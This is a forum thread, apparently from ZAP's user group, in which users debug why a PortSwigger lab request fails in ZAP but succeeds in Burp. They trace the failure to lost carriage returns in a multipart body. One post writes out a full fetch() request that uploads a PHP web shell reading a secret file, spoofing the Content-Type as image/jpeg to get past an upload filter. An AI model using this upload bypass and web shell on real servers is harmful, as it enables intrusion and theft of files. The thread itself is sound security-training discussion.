"No user param supplied"

[zinw elzl]

When I try to solve this lab with ZAP (FF or Chrome)

https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass

I get "No user param supplied".

But with Burp it works.

And can't find where is problem.

Only differences is ZAP use HTTP 1.1 and Burp HTTP 2. 

Can you try and see where is the problem?

Thanks.

[Simon Bennetts]

I'm afraid I'm not familiar with this lab (too much to do, not enough time;).

Have you compared the requests from ZAP and Burp to see if they are _exactly_ the same?

If there are any differences then resend the ZAP requests using the Manual Request Editor and change them to be exactly the same as the Burp ones.

Does it then work?

Cheers,

Simon

[zinw elzl]

When I send in ZAP (with HTTP2, like in Burp), I get this error:
IO error in sending request: class
org,apache.hc.core5.http.ConnectionClosedException: Connection is closed

When change HTTP from 2 to 1.1, this is error:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Connection: close
Content-Length: 46
"Missing parameter 'csrf'"

[thc...@gmail.com]

Could you share the HTTP/2 request that you are sending?

Best regards.

[timruff]

I noticed that with Open/Resend with Request Editor it works randomly, but with Open in Requester Tab it works, I noticed that there was difference between these two functions, it seems to me that it is in the timing which is different. I would like to have more information and detail between the two functions.

[Borf Borg]

Hey everyone, I'm also encountering the same exact issue.
I've attached request/response header + body from Burp and ZAP.

FYI, I factory reset all settings for both programs prior to this run.

Java version: (Eclipse Adoptium JDK 21).

As a recap, Burp works and ZAP doesn't; the main difference seems to be HTTP 2 (Burp) vs HTTP 1.1 (ZAP); and manually changing the 1.1 to 2 elicits the following response:

HTTP/1.1 502 Bad Gateway
content-type: text/plain; charset=UTF-8
content-length: 1122

ZAP Error [org.apache.hc.core5.http.ConnectionClosedException]: Connection is closed


Stack Trace:
org.apache.hc.core5.http.ConnectionClosedException: Connection is closed
at org.apache.hc.core5.http2.impl.nio.AbstractH2StreamMultiplexer.onDisconnect(AbstractH2StreamMultiplexer.java:580)
at org.apache.hc.core5.http2.impl.nio.AbstractH2IOEventHandler.disconnected(AbstractH2IOEventHandler.java:96)
at org.apache.hc.core5.http2.impl.nio.ClientH2IOEventHandler.disconnected(ClientH2IOEventHandler.java:39)
at org.apache.hc.core5.reactor.ssl.SSLIOSession$1.disconnected(SSLIOSession.java:247)
at org.apache.hc.core5.reactor.InternalDataChannel.disconnected(InternalDataChannel.java:204)
at org.apache.hc.core5.reactor.SingleCoreIOReactor.processClosedSessions(SingleCoreIOReactor.java:231)
at org.apache.hc.core5.reactor.SingleCoreIOReactor.doExecute(SingleCoreIOReactor.java:133)
at org.apache.hc.core5.reactor.AbstractSingleCoreIOReactor.execute(AbstractSingleCoreIOReactor.java:86)
at org.apache.hc.core5.reactor.IOReactorWorker.run(IOReactorWorker.java:44)
at java.base/java.lang.Thread.run(Thread.java:1583)

[thc...@gmail.com]

Hi,

How are you actually sending the request from ZAP? I suspect missing
\r\n in the body.

Best regards.

[Borf Borg]

Hey,

I just pasted the header, and then the body into the txt files attached above.

Open/Resend with Request Editor -> Edit -> Send

[Borf Borg]

Here's a screenshot. I do change the highlighted "application/octet-stream" to "image/jpeg" to solve the lab. 

[Borf Borg]

I'm curious as to how you guessed that it was a "/r/n" issue.

Was poking around with Chromium DevTools, and it worked.

Removing any "\r" or "\n" chars from "... image/jpeg\r\n\r\n<?php echo ..." resulted in "No user param supplied" as the response.

F12 -> Network -> right click -> copy as fetch -> Console -> paste + edit + enter:

• fetch("https://0afb00c5041f34408394c85b0025006e.web-security-academy.net/my-account/avatar", {
    "headers": {
      "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
      "accept-language": "en-US,en;q=0.9",
      "cache-control": "max-age=0",
      "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryRmylxJzRxNDcptDg",
      "sec-ch-ua": "\"Not A(Brand\";v=\"99\", \"Brave\";v=\"121\", \"Chromium\";v=\"121\"",
      "sec-ch-ua-mobile": "?0",
      "sec-ch-ua-platform": "\"Windows\"",
      "sec-fetch-dest": "document",
      "sec-fetch-mode": "navigate",
      "sec-fetch-site": "same-origin",
      "sec-fetch-user": "?1",
      "sec-gpc": "1",
      "upgrade-insecure-requests": "1"
    },
    "referrer": "https://0afb00c5041f34408394c85b0025006e.web-security-academy.net/my-account",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": "------WebKitFormBoundaryRmylxJzRxNDcptDg\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"exploit.php\"\r\nContent-Type: image/jpeg\r\n\r\n<?php echo file_get_contents('/home/carlos/secret'); ?>\r\n------WebKitFormBoundaryRmylxJzRxNDcptDg\r\nContent-Disposition: form-data; name=\"user\"\r\n\r\nwiener\r\n------WebKitFormBoundaryRmylxJzRxNDcptDg\r\nContent-Disposition: form-data; name=\"csrf\"\r\n\r\nOsQQHN2Lc6WcqL9mCEgjKM3DR8KAymy7\r\n------WebKitFormBoundaryRmylxJzRxNDcptDg--\r\n",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
  }).then(r => r.json()).then(json => console.log(json));

[Borf Borg]

Solved but unfixed maybe.

Thanks @thc202 for pointing me to "\r\n"

Turns out selecting a phrase (double click or ctrl+shift+L/R arrow) in ZAP includes the invisible char at the end of every line, which I suppose is "\r". 

You can see this by opening Request Editor and arrow keying left and right at the end any line in the body.

The request went thru ZAP properly and everything worked, when I took care to not replace the invisible char.

I suppose ZAP could use some way of indicating the existence of these invisible chars, and maybe even an insert button in the toolbar.

[thc...@gmail.com]

Yes, the GUI should be showing all the invisible characters, one can
easily break the multipart format when pasting/editing the content.

Best regards.

On 09/02/2024 02:14, Borf Borg wrote:
> Solved but unfixed maybe.
>
> Thanks @thc202 for pointing me to "\r\n"
>
> Turns out selecting a phrase (double click or ctrl+shift+L/R arrow) in ZAP
> includes the invisible char at the end of every line, which I suppose is
> "\r".
> You can see this by opening Request Editor and arrow keying left and right
> at the end any line in the body.
>
> The request went thru ZAP properly and everything worked, when I took care
> to not replace the invisible char.
>
> I suppose ZAP could use some way of indicating the existence of these
> invisible chars, and maybe even an insert button in the toolbar.
>
> On Thursday, February 8, 2024 at 4:08:05 PM UTC-6 Borf Borg wrote:
>
>> I'm curious as to how you guessed that it was a "/r/n" issue.
>>
>> Was poking around with Chromium DevTools, and it worked.
>> Removing any "\r" or "\n" chars from "... image/jpeg\r\n\r\n<?php echo
>> ..." resulted in "No user param supplied" as the response.
>>
>> F12 -> Network -> right click -> copy as fetch -> Console -> paste + edit
>> + enter:
>>

>> - fetch("